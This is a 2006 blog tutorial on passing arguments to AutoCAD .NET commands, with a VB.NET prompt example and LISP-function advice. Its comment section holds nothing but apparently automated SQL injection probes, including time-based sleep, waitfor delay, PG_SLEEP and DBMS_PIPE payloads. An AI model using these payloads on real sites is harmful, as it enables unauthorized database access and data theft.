2006年9月1日

Passing arguments to .NET-defined commands

Passing arguments to .NET-defined commands

Passing arguments to .NET-defined commands

Another case of planets aligning: two different people have asked me this question in two days...

It's quite common for commands to require users to provide additional input during execution. This information might be passed in via a script or a (command) from LISP, or it may simply be typed manually or pasted in by the user.

The fact is, though, that commands don't actually take arguments. It may seem like they do, but they don't. What they do is ask for user input using dialogs or the command-line.

Here are a few tips on how to support passing of information into your commands...

Define a version of your command that asks for input via the command-line

It's very easy to define beautiful UIs in .NET applications. You absolutely should do so. But it's also helpful to provide an alternative that can be called via the command-line and from scripts. I'd suggest a couple of things here for your commands:

  • Define a standard version (e.g. "MYCOMMAND") and a command-line version ("-MYCOMMAND"). It's common to prefix command-line versions of commands in AutoCAD with a hyphen (see -PURGE vs. PURGE, for instance).
  • An alternative is to check for the values of FILEDIA and CMDDIA system variables - see the AutoCAD documentation on these commands to understand what effect they're meant to have on commands.

When implementing a command-line version of your command, you simply use the standard user input functions (GetXXX()) available in the Autodesk.AutoCAD.EditorInput namespace. Here's some VB.NET code showing this:

    <CommandMethod("TST")> _

    Public Sub Test()

        Dim ed As Editor

        ed = Application.DocumentManager.MdiActiveDocument.Editor

        Dim name As PromptResult = ed.GetString(vbCr + "Enter name: ")

        ed.WriteMessage("You entered: " + name.StringResult)

    End Sub

When it's run, you get this (typed text in red):

Command: tst

Enter name: Hello

You entered: Hello

Command:

By the way, I tend to put a vbCr (or "\n" in ObjectARX) in front of prompts being used in GetXXX() functions, as it's also possible to terminate text input with a space in AutoCAD: this means that even is a space is entered to launch the command, the prompt string displays on a new line.

Define a LISP version of your command

The <LispFunction> attribute allows you to declare .NET functions as LISP-callable. A very good technique is to separate the guts of your command into a separate function that is then called both by your command (after it has asked the user for the necessary input) and by the LISP-registered function, which unpackages the arguments passed into it.

To understand more about how to implement LISP-callable functions in .NET, see this previous post.

留下您的评论

评论 (39)

G
宾客 | 一年前

4o6zaBgK

G
宾客 | 一年前

1*

G
宾客 | 一年前

1*

G
宾客 | 一年前

1*

G
宾客 | 一年前

1*

G
宾客 | 一年前

-1 OR 2+902-902-1=0+0+0+1

G
宾客 | 一年前

-1 OR 3+902-902-1=0+0+0+1

G
宾客 | 一年前

1'"

G
宾客 | 一年前

1����%2527%2522

G
宾客 | 一年前

@@TNxhY

l
lxbfYeaa | 11天前

ojgPY4IU

l
lxbfYeaa | 11天前

1*

l
lxbfYeaa | 11天前

1*

l
lxbfYeaa | 11天前

1*

l
lxbfYeaa | 11天前

1*

l
lxbfYeaa | 11天前

-1 OR 2+758-758-1=0+0+0+1

l
lxbfYeaa | 11天前

-1 OR 3+758-758-1=0+0+0+1

l
lxbfYeaa | 11天前

if(now()=sysdate(),sleep(15),0)

l
lxbfYeaa | 11天前

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

l
lxbfYeaa | 11天前

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

l
lxbfYeaa | 11天前

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

l
lxbfYeaa | 11天前

-1; waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

-1); waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

-1)); waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

1 waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

BxbYFd7r'; waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

8OK84vHS'); waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

FY7wG8dv')); waitfor delay '0:0:15' --

l
lxbfYeaa | 11天前

-5 OR 515=(SELECT 515 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

-5) OR 364=(SELECT 364 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

-1)) OR 968=(SELECT 968 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

jFMD3LVD' OR 701=(SELECT 701 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

H864BwvD') OR 215=(SELECT 215 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前

ZkVaT6Yr')) OR 990=(SELECT 990 FROM PG_SLEEP(15))--

l
lxbfYeaa | 11天前


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

l
lxbfYeaa | 11天前


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

l
lxbfYeaa | 11天前

1'"

l
lxbfYeaa | 11天前

1����%2527%2522

l
lxbfYeaa | 11天前

@@vrzWS